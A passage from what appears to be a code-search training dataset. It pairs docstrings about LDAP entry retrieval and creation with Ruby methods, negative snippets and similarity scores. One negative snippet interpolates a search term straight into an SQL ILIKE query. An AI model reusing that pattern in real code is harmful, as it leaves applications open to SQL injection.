"def search_for_login\n @login_ldap_entry ||= begin\n DeviseLdapNorm::Logger.send(\"LDAP search for login: #{@attribute}=#{@login}\")\n filter = Net::LDAP::Filter.eq(@attribute.to_s, @login.to_s)\n ldap_entry = nil\n match_count = 0\n @ldap.search(:filter => filter) {|entry| ldap_entry = entry; match_count+=1}\n DeviseLdapNorm::Logger.send(\"LDAP search yielded #{match_count} matches\")\n ldap_entry\n end\n end",
"def search(**args)\n params = parameters(args) do\n required_params :term\n optional_params :term, :item_type, :start, :limit, :exact_match\n end\n request(:get, 'searchResults', params)\n end",
"def search(query, options = {}); end",
"def search\n @config[:search]\n end",
"def search_ldap_by_mail(str, credentials = {}, wildcard: false, limit: 20)\n credentials = determine_credentials(credentials)\n LdapQuery::Query.perform(credentials, attr: :mail, val: str, wildcard: wildcard, limit: limit)\n end",
"def search_list\n if params[:keyword].nil? or params[:keyword].empty?\n redirect_back :fallback_location => root_path, :alert => \"Unrecognized user input. \"\n else\n keyword = \"%\" + params[:keyword].strip + \"%\"\n end\n @domains = Domain.where('name like ?', keyword).limit(10)\n end",
"def searches\n wrapping!(\n search(\n root_uri,\n data_raw.to_s.gsub('=>', ':')\n )\n )\n end",
"def search(arg, by: nil)\n\t\t\tr={type: \"search\", arg: arg}\n\t\t\tr[:by]=by if by\n\t\t\t# if :by is not specified, aur defaults to name-desc\n\t\t\tself.query(r)\n\t\tend",
"def search_people(term, start_index=0, max_results=25)\n get_object_list \"People\", get(\"catalog/people\", {term: term, start_index: start_index, max_results: max_results})\n end",
"def search(criteria)\n api_paginated_response(api_get(\"#{PATH}/search\", criteria))\n end",
"def search\n end",
"def search(*args)\n options = args.extract_options!\n options[:class] = self\n args << options\n ThinkingSphinx::Search.search(*args)\n end",
"def search\n if params[:search].present?\n @residentials = Residential.search(params[:search])\n else\n @residentials = Residential.all\n end\n end",
"def search(query)\n @search_svc.search query\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n return @account_resources.list(\n filter,\n *args,\n deadline: deadline,\n )\n end",
"def search_in_account(account_id, search_in_account_parameters, opts = {})\n data, _status_code, _headers = search_in_account_with_http_info(account_id, search_in_account_parameters, opts)\n data\n end",
"def search *args, &block\n if (args && args.any?) || block_given?\n @search = Lolita::Configuration::Search.new(self.dbi,*args,&block)\n add_observer(@search)\n end\n @search\n end",
"def search(term=nil)\n return [] if term.nil? || term.empty?\n self.connection.exec(\"SELECT * FROM contacts WHERE name ILIKE '%#{term}%' OR email ILIKE '%#{term}%'\").values\n end",
"def grep_search search_dir\n args = ['-r']\n end",
"def search(string, options = {})\n\t\t\tif (string.is_a?(Hash))\n\t\t\t\toptions = string\n\t\t\telse\n\t\t\t\toptions.merge!(:search => string)\n\t\t\tend\n\t\t\t\n\t\t\toptions = merge_defaults(options)\n\t\t\t\n\t\t\tif options[:search].nil? || options[:search].empty?\n\t\t\t\traise Wowr::Exceptions::NoSearchString.new\n\t\t\tend\n\t\t\t\n\t\t\tif !@@search_types.has_value?(options[:type])\n\t\t\t\traise Wowr::Exceptions::InvalidSearchType.new(options[:type])\n\t\t\tend\n\t\t\t\n\t\t\toptions.merge!(:caching => false)\n\t\t\toptions.delete(:realm) # all searches are across realms\n\t\t\t\t\t\t\n\t\t\txml = get_xml(@@search_url, options)\n\t\t\t\n\t\t\tresults = []\n\t\t\t\t\t\t\n\t\t\tif (xml) && (xml%'armorySearch') && (xml%'armorySearch'%'searchResults')\n\t\t\t\tcase options[:type]\n\t\t\t\t\t\n\t\t\t\t\twhen @@search_types[:item]\n\t\t\t\t\t\t(xml%'armorySearch'%'searchResults'%'items'/:item).each do |item|\n\t\t\t\t\t\t\tresults << Wowr::Classes::SearchItem.new(item)\n\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\twhen @@search_types[:character]\n\t\t\t\t\t\t(xml%'armorySearch'%'searchResults'%'characters'/:character).each do |char|\n\t\t\t\t\t\t\tresults << Wowr::Classes::SearchCharacter.new(char, self)\n\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\twhen @@search_types[:guild]\n\t\t\t\t\t\t(xml%'armorySearch'%'searchResults'%'guilds'/:guild).each do |guild|\n\t\t\t\t\t\t\tresults << Wowr::Classes::SearchGuild.new(guild)\n\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\twhen @@search_types[:arena_team]\n\t\t\t\t\t\t(xml%'armorySearch'%'searchResults'%'arenaTeams'/:arenaTeam).each do |team|\n\t\t\t\t\t\t\tresults << Wowr::Classes::SearchArenaTeam.new(team)\n\t\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\treturn results\n\t\tend"
] | [
"0.70574045",
"0.6846109",
"0.6770961",
"0.65752316",
"0.6574974",
"0.645856",
"0.6366931",
"0.62826765",
"0.6233852",
"0.6118379",
"0.60482985",
"0.6020928",
"0.5801382",
"0.56704265",
"0.5670218",
"0.56624055",
"0.5576212",
"0.5559215",
"0.5526331",
"0.55008805",
"0.5485458",
"0.5424206",
"0.5424003",
"0.541686",
"0.54073745",
"0.5404407",
"0.538748",
"0.53843033",
"0.5379917",
"0.5373955",
"0.5365816",
"0.5346533",
"0.53110886",
"0.52945983",
"0.5282607",
"0.5260344",
"0.52602166",
"0.5252927",
"0.52509713",
"0.52436334",
"0.5239433",
"0.52350074",
"0.5222044",
"0.5204576",
"0.5190973",
"0.5181908",
"0.51798534",
"0.51716036",
"0.5151626",
"0.5148131",
"0.51378226",
"0.51318467",
"0.5124488",
"0.5122932",
"0.51138943",
"0.5098447",
"0.50941086",
"0.50916946",
"0.5077404",
"0.5066641",
"0.5058935",
"0.5055185",
"0.50361615",
"0.50098187",
"0.5009814",
"0.5009382",
"0.49877173",
"0.49723825",
"0.49643975",
"0.4952094",
"0.49486268",
"0.4948623",
"0.4938302",
"0.49264812",
"0.49263135",
"0.49181005",
"0.49106833",
"0.49056295",
"0.48933515",
"0.48922896",
"0.48912498",
"0.48896757",
"0.48623258",
"0.48509464",
"0.4841233",
"0.4836749",
"0.4833855",
"0.4830557",
"0.48290655",
"0.48250592",
"0.48178542",
"0.48166177",
"0.4814516",
"0.48124695",
"0.48090157",
"0.48065192",
"0.4805985",
"0.48021862",
"0.48020077",
"0.4797492"
] | 0.830434 | 0 |
== Get Entry This method accepts a connection resource object. It is intended to be used with Chef::Resource::LdapEntry objects that will also have a .dn method indicating Distinguished Name to be retrieved. It returns a single entry. | def get_entry( c, dn ) # :yields: connection_info, distinguished_name
self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap
entry = @ldap.search(
base: dn,
filter: Net::LDAP::Filter.eq( 'objectClass', '*' ),
scope: Net::LDAP::SearchScope_BaseObject,
attributes: [ '*' ]
)
raise "Error while searching: #{@ldap.get_operation_result.message}" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/
return entry ? entry.first : entry
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lookup_entry\n\t\tself.log.debug \"Looking up entry for %s\" % [ self.dn ]\n\t\tentry = nil\n\n\t\tif self.include_operational_attrs?\n\t\t\tself.log.debug \" including operational attributes.\"\n\t\t\tentry = self.directory.get_extended_entry( self )\n\t\telse\n\t\t\tself.log.debug \" not including operational attributes.\"\n\t\t\tentry = self.directory.get_entry( self )\n\t\tend\n\n\t\tentry.delete( 'dn' ) if entry\n\t\tself.log.debug \" entry is: %p\" % [ entry ]\n\t\treturn entry\n\tend",
"def get_entry( branch )\n\t\tself.log.debug \"Looking up entry for %p\" % [ branch.dn ]\n\t\treturn self.conn.search_ext2( branch.dn, SCOPE[:base], '(objectClass=*)' ).first\n\trescue LDAP::ResultError => err\n\t\tself.log.info \" search for %p failed: %s\" % [ branch.dn, err.message ]\n\t\treturn nil\n\tend",
"def entry\n\t\t@entry ||= self.lookup_entry\n\tend",
"def get_extended_entry( branch )\n\t\tself.log.debug \"Looking up entry (with operational attributes) for %p\" % [ branch.dn ]\n\t\treturn self.conn.search_ext2( branch.dn, SCOPE[:base], '(objectClass=*)', %w[* +] ).first\n\trescue LDAP::ResultError => err\n\t\tself.log.info \" search for %p failed: %s\" % [ branch.dn, err.message ]\n\t\treturn nil\n\tend",
"def get_entry(domain,search_key,search_value,return_attrs = [])\n @domain = domain\n @search_key = search_key\n @search_value = search_value\n @return_attrs = return_attrs\n @treebase = @domain.gsub(/\\./, ',dc=')\n @treebase = @treebase.insert(0, 'dc=')\n ldap = ldap_connect(@domain)\n filter = Net::LDAP::Filter.eq(@search_key,@search_value)\n results = ldap.search(:base => @treebase, :filter => filter, :attributes => @return_attrs)\n if (results.nil? || results.length == 0)\n return nil\n else\n results.each do |entry|\n return entry\n end\n end\n end",
"def entry\n @entry.object\n end",
"def entry\n return nil unless @item and self.type == :query\n @item['entry']\n end",
"def get_entry(path, commit = @commit)\n entry_hash = get_entry_hash(path, commit)\n if entry_hash.nil?\n entry = nil\n else\n entry = @repo.lookup(entry_hash[:oid])\n end\n entry\n end",
"def get_entry(entry)\n selected_entry = find_entry(entry)\n raise Errno::ENOENT, entry if selected_entry.nil?\n\n selected_entry\n end",
"def read_entry(key, options)\n query = Google::Cloud::Datastore::Key.new @datastore_kind_name, key\n entities = dataset.lookup query\n return nil unless entities.any?\n entity = entities.first\n entry = deserialize_entry( entity[:_value], entity[:_format] )\n return entry\n end",
"def get_entry(entry); end",
"def lookup_entry\n\t\tif entryhash = super\n\t\t\tself.apply_applicable_mixins( self.dn, entryhash )\n\t\tend\n\n\t\treturn entryhash\n\tend",
"def get_entry\n raise NotImplementedError\n end",
"def read_entry(key, options) # :nodoc:\n entry = with { |c| c.get(key, options) }\n # NB Backwards data compatibility, to be removed at some point\n entry.is_a?(ActiveSupport::Cache::Entry) ? entry.value : entry\n rescue Dalli::DalliError => e\n log_dalli_error(e)\n instrument_error(e) if instrument_errors?\n raise if raise_errors?\n nil\n end",
"def fetch(username, realm)\n return nil unless has_entry?(username, realm)\n ir = internal_record(username, realm)\n return ir['entry'].dup\n end",
"def fetch(username, realm)\n return nil unless has_entry?(username, realm)\n ir = internal_record(username, realm)\n return ir['entry'].dup\n end",
"def entry\n Entry.new\n end",
"def read_entry(key, options) # :nodoc:\n @data.get(key, options)\n rescue ::Couchbase::Error::Base => e\n logger.error(\"#{e.class}: #{e.message}\") if logger\n raise if @raise_errors\n nil\n end",
"def fetch(dn = self.dn, options = {}) #:nodoc:\n find_one(dn, options)\n end",
"def get(entry_id, version=-1)\n\t\t\tkparams = {}\n\t\t\t# Entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Desired version of the data\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.queue_service_action_call('baseentry', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def fetch(username)\n return nil unless has_entry?(username)\n ir = internal_record(username)\n return ir['entry'].dup\n end",
"def get_related (entry, type)\n related_entry_key = entry.related[type] unless entry.related.nil?\n self.entries[related_entry_key]\n end",
"def fetch(username)\n return nil unless has_entry?(username)\n ir = internal_record(username)\n return ir['entry'].dup\n end",
"def find_entry(name)\n Entry.where(name: name, address_book_id: self.id).first\n end",
"def read_entry(key, options) # :nodoc:\n deserialize_entry(@data.where(key: key).get(:value))\n rescue Sequel::Error => e\n logger.error(\"Sequel::Error (#{e}): #{e.message}\") if logger\n nil\n end",
"def get_dn(domain,dn,return_attrs = [])\n scope = Net::LDAP::SearchScope_BaseObject\n ldap = ldap_connect(domain)\n results = ldap.search(:base => dn, :scope => scope, :attributes => return_attrs)\n if (results.nil? || results.length == 0)\n return nil\n else\n results.each do |entry|\n return entry\n end\n end\n end",
"def find_entry\n ms = model_scope\n result = nil\n if params[:id]\n # Requests that retrieve existing records (e.g. show, edit, update, destroy) set an 'id' param\n # The +find+ method raises ActiveRecord::RecordNotFound if no database item has this primary key\n result = ms.find(params[:id])\n elsif params[ms.primary_key]\n # Primary key is a single value provided in the params hash\n # This modification allows the create action to succeed even if the item already exists\n # The +where...first+ methods returns the item from the database or nil if not found\n result = ms.where(ms.primary_key => params[ms.primary_key]).first\n elsif ms.primary_key.instance_of? CompositePrimaryKeys::CompositeKeys\n # primary key is composed of multiple values\n if (ms.primary_key - params.keys).empty?\n # param values are present for all the primary keys\n pk_values = ms.primary_key.map{|k| params[k]}\n result = ms.find(pk_values)\n end\n end\n result\n end",
"def ledger_entry(ledger_entry_id)\n API::request(:get, \"ledger_entries/#{ledger_entry_id}\")\n end",
"def get_atom_entry(url)\n res = get(url, \"Accept\" => \"application/atom+xml\")\n\n # XXX handle other HTTP codes\n if res.code != \"200\"\n raise Atom::HTTPException, \"failed to fetch entry: expected 200 OK, got #{res.code}\"\n end\n\n # be picky for atom:entrys\n res.validate_content_type( [ \"application/atom+xml\" ] )\n\n Atom::Entry.parse(res.body, url)\n end",
"def retrieve_ldap_node(dn)\n node = RubyLdapom::LdapNode.new(self, dn, false)\n node.load_attributes\n end",
"def show\n @entry = Entry.find(params[:id])\n end",
"def show\n @entry = Entry.find(params[:id])\n end",
"def get_entry_guid(username)\n filter = Net::LDAP::Filter.eq(@attribute.to_s, username)\n result = @ldap.search(filter: filter, attributes: ['objectguid'], size: 1)\n result.size > 0 ? result[0]['objectguid'][0] : nil\n end",
"def entry\n self\n end",
"def entry\n id_line('ENTRY_NAME')\n end",
"def get_entry_data(username, attrs = [] )\n filter = Net::LDAP::Filter.eq(@attribute.to_s, username)\n search_params = { filter: filter, size: 1 }\n search_params[:attributes] = attrs unless attrs.empty?\n @ldap.search(search_params)[0]\n end",
"def find_entry(entry_name); end",
"def show\n @ldap_entry = LdapEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ldap_entry }\n end\n end",
"def get_audit_entry(audit_application_id, audit_entry_id, opts = {})\n data, _status_code, _headers = get_audit_entry_with_http_info(audit_application_id, audit_entry_id, opts)\n return data\n end",
"def read_entry(key, options) # :nodoc:\n deserialize_entry(@client.get(key))\n rescue Spymemcached::Error => e\n logger.error(\"Spymemcached::Error (#{e}): #{e.message}\") if logger\n nil\n end",
"def get_entry(id)\n prepare_entry(LiveJournal::Request::GetEvents.new(@user, :itemid => id, :strict => false).run || raise(\"There is no entry with that id.\"))\n rescue exception_block\n end",
"def call\n puts entry&.title\n end",
"def entry\n return @text_entry\n end",
"def read_entry(key, options) # :nodoc:\n deserialize_entry(@data.get(key))\n rescue => e\n logger.error(\"Error reading cache entry from redis: #{e}\") if logger\n nil\n end",
"def read_entry(key, **options)\n deserialize_entry(read_serialized_entry(key, **options), **options)\n end",
"def read_entry(key, **options)\n deserialize_entry(read_serialized_entry(key, **options), **options)\n end",
"def email\n @net_ldap_entry[:mail].first\n end",
"def get_entry\n this_entry = nil\n if @worksheet\n @worksheet.list.each do |this_row|\n keep_row = true\n\n @config['key_fields'].keys.reject { |key_field|\n !(@config['key_fields'][key_field][\"required\"]) && !(@keys[key_field])\n }.each do |key|\n break unless keep_row\n keep_row = (this_row[key] == @keys[key])\n end\n \n if keep_row\n return this_row\n end\n end\n end\n end",
"def get_by_id(entry_id)\n fetch(entry_id).shift\n end",
"def getDN (dn)\n if ( @dnhash.nil? ) then\n @dnhash = Hash.new\n self.each do |entry|\n @dnhash[entry.dn] = entry\n end\n end\n @dnhash[dn]\n end",
"def get_entry(pEntry)\n return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC')\n end",
"def load_entry\n\t\t@entry = Entry.find(params[:id])\n\tend",
"def find(name)\n result = nil\n connect do |conn|\n begin\n conn.search2(dn(name), 0, \"objectclass=*\") do |result|\n # Convert to puppet-appropriate attributes\n return entry2provider(result)\n end\n rescue => detail\n return nil\n end\n end\n end",
"def get_audit_log_entry(resource_id, opts = {})\n data, _status_code, _headers = get_audit_log_entry_with_http_info(resource_id, opts)\n data\n end",
"def to_entry\n DayOne::Entry.new(\n self['Entry Text'],\n starred: self['Starred'],\n creation_date: self['Creation Date'],\n saved: true,\n tags: self['Tags']||[],\n location: self['Location']||{},\n uuid: self[\"UUID\"]\n )\n end",
"def get_ldap_node(dn)\n return RubyLdapom::LdapNode.new(self, dn, false)\n end",
"def read_entry(key, options)\n @hash[key]\n end",
"def find_locale_entry\n @locale_entry = @source_entry.locale_glossary_entries.find_by_rfc5646_locale! params[:id]\n end",
"def entry2provider(entry)\n raise ArgumentError, \"Could not get dn from ldap entry\" unless entry[\"dn\"]\n\n # DN is always a single-entry array. Strip off the bits before the\n # first comma, then the bits after the remaining equal sign. This is the\n # name.\n name = entry[\"dn\"].dup.pop.split(\",\").shift.split(\"=\").pop\n\n result = {:name => name}\n\n @ldap2puppet.each do |ldap, puppet|\n result[puppet] = entry[ldap.to_s] || :absent\n end\n\n result\n end",
"def read_entry(key, **options)\n raise NotImplementedError.new\n end",
"def get_time_entry(xero_tenant_id, project_id, time_entry_id, opts = {})\n data, _status_code, _headers = get_time_entry_with_http_info(xero_tenant_id, project_id, time_entry_id, opts)\n data\n end",
"def read_entry(key, options) # :nodoc:\n Marshal.load(@data.get(key))\n rescue => e\n logger.error(\"KyotoTycoonError (#{e}): #{e.message}\") if logger\n nil\n end",
"def [](attr_name)\n @ldap_entry[attr_name]\n end",
"def current_entry\n Entry.by_user(current_user)\n .find(params[:id])\n end",
"def get(entry_id, version=-1)\n\t\t\tkparams = {}\n\t\t\t# Data entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Desired version of the data\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.queue_service_action_call('data', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def entry_url\n @info ||= ( Nokogiri(open(search_url).read) / \"entry:first\" / \"id\" ).first.inner_text\n rescue => e\n raise RuntimeError, \"coult not open search url: #{search_url} : \\n#{e}\"\n end",
"def find_entry(id)\n (self.entries || []).detect { |entry| [entry._permalink, entry._label].include?(id) }\n end",
"def entry\n business_account.entries.find { |e|\n e.code == number.to_s and e.accounts.include? commodity_account\n }\n end",
"def get_account(domain,samaccountname,attrs = [])\n ldap = ldap_connect(domain)\n treebase = domain.gsub(/\\./, ',dc=')\n treebase = treebase.insert(0, 'dc=')\n filter = Net::LDAP::Filter.eq(\"samaccountname\", samaccountname)\n attrs = [ \"dn\", \"cn\", \"samaccountname\", \"mail\" ] if attrs.length == 0\n results = ldap.search(:base => treebase, :filter => filter, :attributes => attrs)\n if results.length == 0\n return nil\n else\n results.each do |entry|\n return entry\n end\n end\n end",
"def from_entry(entry)\n dataset = Net::LDAP::Dataset.new\n hash = { }\n entry.each_attribute do |attribute, value|\n next if attribute == :dn\n hash[attribute] = value\n end\n dataset[entry.dn] = hash\n dataset\n end",
"def connection\n return @connection if @connection\n load_ldap_library\n @connection = if ldap_library == 'net/ldap'\n Net::LDAP.new(:host=>server, :port=>(port), :encryption=>(:simple_tls if use_ssl))\n else\n (use_ssl ? LDAP::SSLConn : LDAP::Conn).new(server, port)\n end\n end",
"def entry(id)\n LiveJournal::Request::GetEvents.new(@user, :itemid => id, :strict => false).run ||\n raise(NoSuchEntry, \"There is no entry with that id.\")\n end",
"def get(id, opts)\n # Purge connections if needed:\n purge if purge?\n\n # Find the entry for the given id and return it if the options are compatible:\n entry = @registry[id]\n return entry.connection if entry && entry.compatible?(opts)\n\n # If there is an entry but it isn't compatible, then close and remove it:\n if entry\n $rhevm_log.info(\n \"Existing connection for EMS with identifier '#{id}' and URL '#{entry.options[:url]}' isn't compatible \" \\\n \"with the requested options, will close it and create a new one.\"\n )\n close(id)\n end\n\n # At this point we know that either there was no connection or else it needs to be created again:\n $rhevm_log.info(\"Creating new connection for EMS with identifier '#{id}' and URL '#{opts[:url]}'.\")\n connection = OvirtSDK4::Connection.new(opts)\n entry = Entry.new(opts, connection)\n @registry[id] = entry\n\n # Return the new connection:\n connection\n end",
"def entry\n self['entry']||{}\n end",
"def read(entry); end",
"def read(entry)\n get_input_stream(entry, &:read)\n end",
"def get_last_entry\n @entry = FeedEntry.find(:first, :conditions => {:person_id => self.id})\n end",
"def find_by_project(project_id, options = {})\n options.merge!({project_id: project_id })\n result = Paymo::API.get :entries, :find_by_project, options\n if result['status'] == 'ok'\n result['entries']['entry'].map! do |entry|\n Paymo::Entry.new(entry)\n end\n end\n end",
"def entry_edge\n self.entry_edges.first\n end",
"def entry\n (self.entry_stories.first and self.entry_stories.first.entry)\n end",
"def add_entry( c, dn, attrs ) # :yields: connection_info, distinguished_name, attributes\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n \n # Ensure no duplicates by casting as a case insensitive, case preserving hash\n attrs = CICPHash.new.merge(attrs)\n # Ensure relativedn is included in the attribute list\n relativedn = dn.split(/,(?!([\\w -]+=[\\w -]+,?){1,}\\\")/).first\n attrs.merge!(Hash[*relativedn.split('=', 2).flatten])\n @ldap.add dn: dn, attributes: attrs\n raise \"Unable to add record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message == 'Success'\n end",
"def []( id )\n entry = entries[id]\n Entry.new( self, id, entry ) if entry\n end",
"def lookup_subscription_entry(name)\n\t\tend",
"def entries(options={})\n validate_entries_options(options)\n entry_class = Harvest::Resources::Entry.clone\n entry_class.project_id = self.id\n entry_class.find :all, :params => format_params(options)\n end",
"def show\n @entry = Entry.find(params[:id])\n @title = @entry.title\n end",
"def show\n @entry = Entry.includes(:definitions => :user, :examples => :user, :references => :user).find(params[:id])\n end",
"def show\n begin\n @entry = current_user.entries.find(params[:id])\n rescue\n logger.error \"Hacker id #{current_user.id} attempted to access an entry belonging to another user: #{params[:id]}.\"\n redirect_to(entries_url)\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end\n end",
"def find(id)\n params = {\n 'sys.id': id\n }\n entry = fetch(params).first\n raise Exceptions::RecordNotFound if entry.blank?\n\n to_recipe(entry)\n end",
"def delete_entry( c, dn ) # :yields: connection_info, distinguished_name\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n @ldap.delete dn: dn\n raise \"Unable to remove record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/\n end",
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def grab(entry, attribute)\n const_attribute = begin\n attribute.camelize.constantize\n rescue NameError\n attribute\n end\n\n case const_attribute\n when Hash\n dup_attribute = const_attribute.dup\n value = dup_attribute.delete(\"value\")\n sprintf value, Hash[dup_attribute.map { |k, v| [k, grab(entry, v)] }].symbolize_keys\n when String\n normalize_ldap_value(entry, attribute)\n when Class, Module\n if const_attribute.respond_to?(:run)\n const_attribute.run(entry)\n else\n normalize_ldap_value(entry, attribute)\n end\n end\n end",
"def [](key)\n entry = find_entry(key)\n return(entry.nil? ? nil : entry[1])\n end",
"def read_linked_data_api(entry)\n ld_api.call(entry.url) { |response, data| return response.body, data }\n end",
"def entry(entry_name)\n Buildr::TarEntry.new(self, entry_name)\n end",
"def entries(options={})\n return @entries if @entries and options == {} \n validate_options(options)\n @entries = Harvest::Resources::Entry.find(:all, :conditions => {:person_id => self.id}, :params => format_params(options))\n end",
"def get(entry_id, version=-1)\n\t\t\tkparams = {}\n\t\t\t# Document entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Desired version of the data\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.queue_service_action_call('document', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get(dst)\n _check_open!\n re = Entry.new\n if( re.dst.set_string(dst) and ::Dnet.route_get(@handle, re) == 0 )\n return re \n end\n end",
"def get_entry(arg)\n extend BACH::ClusterData\n get_entry(arg)\nend",
"def [](key)\n if [email protected]?\n return @con[key]\n end\n\n nil\n end",
"def get_resource\n execute(resource_path, method: :get)\n end"
] | [
"0.69192225",
"0.6838741",
"0.6255633",
"0.62506276",
"0.6213904",
"0.61219466",
"0.6081091",
"0.6077004",
"0.6066452",
"0.60608196",
"0.594333",
"0.5859642",
"0.58492595",
"0.58359665",
"0.5781691",
"0.5781691",
"0.5737232",
"0.5667582",
"0.566263",
"0.56159306",
"0.5518761",
"0.5518751",
"0.5517276",
"0.5447974",
"0.53721625",
"0.5364211",
"0.53152406",
"0.5300923",
"0.52258205",
"0.5217422",
"0.51858175",
"0.51858175",
"0.5184501",
"0.51673794",
"0.5161785",
"0.5158803",
"0.51376003",
"0.5126039",
"0.51087517",
"0.5083602",
"0.50685894",
"0.50620854",
"0.5046598",
"0.50394684",
"0.5031886",
"0.5025308",
"0.49803564",
"0.49523658",
"0.49382398",
"0.49362275",
"0.4918057",
"0.49158436",
"0.4912813",
"0.49000883",
"0.48941082",
"0.4885851",
"0.48822325",
"0.48600638",
"0.48515773",
"0.48398042",
"0.48276168",
"0.48232815",
"0.48206627",
"0.4819126",
"0.48135474",
"0.48066476",
"0.48035347",
"0.47934553",
"0.4792293",
"0.4786463",
"0.47831476",
"0.4771148",
"0.4768441",
"0.4745742",
"0.47298655",
"0.47098905",
"0.4700997",
"0.4682296",
"0.46604928",
"0.4654606",
"0.4651182",
"0.46414587",
"0.46375233",
"0.46367458",
"0.46338844",
"0.46330455",
"0.46304458",
"0.4624415",
"0.46172985",
"0.4608229",
"0.4598386",
"0.45867476",
"0.4564654",
"0.45603314",
"0.45594865",
"0.4551389",
"0.45456448",
"0.45395774",
"0.45160684",
"0.4514543"
] | 0.78271013 | 0 |
== Add Entry This method accepts a connection resource object, a distinguished name, and the attributes for the entry to be added. | def add_entry( c, dn, attrs ) # :yields: connection_info, distinguished_name, attributes
self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap
# Ensure no duplicates by casting as a case insensitive, case preserving hash
attrs = CICPHash.new.merge(attrs)
# Ensure relativedn is included in the attribute list
relativedn = dn.split(/,(?!([\w -]+=[\w -]+,?){1,}\")/).first
attrs.merge!(Hash[*relativedn.split('=', 2).flatten])
@ldap.add dn: dn, attributes: attrs
raise "Unable to add record: #{@ldap.get_operation_result.message}" unless @ldap.get_operation_result.message == 'Success'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_entry entry\n @data << entry\n end",
"def add_subscription_entry(name, entry)\n\t\tend",
"def add(entry)\n @entries[entry.tag] = entry\n end",
"def add(dn, attributes)\n attributes = normalize_attributes(attributes)\n log_dispatch(:add, dn, attributes)\n adapter.add(dn, attributes)\n end",
"def add(account) \n entry = Keybox::HostAccountEntry.new(account, account)\n\n if @options.use_password_hash_for_url then\n begin \n account_uri = URI.parse(account) \n if not account_uri.scheme.nil? then\n entry = Keybox::URLAccountEntry.new(account,account)\n end\n rescue ::URI::InvalidURIError\n # just ignore it, we're fine with the Host\n # Account Entry\n end\n\n end\n new_entry = gather_info(entry)\n hsay \"Adding #{new_entry.title} to database.\", :information\n @db << new_entry\n end",
"def add_entry(name, phone, email)\n new_entry = Entry.new(name, phone, email)\n entries << new_entry\n end",
"def add_entry(name)\n Library.create(name: name)\n end",
"def add_data_entry(entry)\n @repository << entry\n return nil\n end",
"def add entry\n existing_entry = @entries[entry.msgid]\n if existing_entry\n entry = existing_entry.merge(entry)\n end\n @entries[entry.msgid] = entry\n end",
"def add_entry(opts)\n raise ArgumentError, \"Expected Hash or Keepassx::Entry, got #{opts.class}\" unless valid_entry?(opts)\n\n if opts.is_a?(Keepassx::Entry)\n # Add entry\n @entries << opts\n\n # Increment counter\n header.entries_count += 1\n\n # Return entry\n opts\n\n elsif opts.is_a?(Hash)\n opts = deep_copy(opts)\n opts = build_entry_options(opts)\n\n # Create entry\n entry = create_entry(opts)\n\n # Increment counter\n header.entries_count += 1\n\n # Return entry\n entry\n end\n end",
"def <<(entry)\n @entries << entry if entry.kind_of?(Inaho::Entry)\n end",
"def add_connection(resource, connection)\n @data['powerConnections'] << {\n 'connectionUri' => resource['uri'],\n 'deviceConnection' => connection,\n 'sourceConnection' => connection\n }\n end",
"def add_entry(located_entry)\n path = insert_entry(located_entry)\n set_new_value(path, located_entry)\n end",
"def add(entry)\n _check_open!\n ::Dnet.route_add(@handle, entry)\n end",
"def << (entry)\n @entries << entry\n end",
"def add(name, resource, attributes = {})\n resources[name] = resource\n resource.update_attributes(attributes) if attributes.any?\n resource\n end",
"def add(entry)\n entries << entry\n end",
"def create_entry(options = {title: '', description: '', principal_balance: 0, interest_income_balance: 0, from_installment: nil })\n\n\t\t\taccounting_entry = accounting_entries.build()\n accounting_entry.title = options[:title]\n accounting_entry.entry_date = Date.current\n accounting_entry.principal_balance = options[:principal_balance]\n accounting_entry.interest_income_balance = options[:interest_income_balance]\n accounting_entry.description = options[:description]\n accounting_entry.from_installment =options[:from_installment]\n accounting_entry.save\n accounting_entry\n\n\tend",
"def add(resource)\n get_resource(resource.type).add(resource.value)\n end",
"def add(options = {})\n entry = Entry.new(\n ip_address: options[:ip_address],\n hostname: options[:hostname],\n aliases: options[:aliases],\n comment: options[:comment],\n priority: options[:priority],\n )\n\n @entries << entry\n remove_existing_hostnames(entry) if options[:unique]\n end",
"def add_connection(connection)\n self.connections[connection.id] = connection\n end",
"def add_entry( entry )\n case entry\n when Credit\n credits << entry\n when Debit\n debits << entry\n else\n raise ArgumentError, \"Transaction is unable to handle an Unknown type: #{entry}\"\n end\n end",
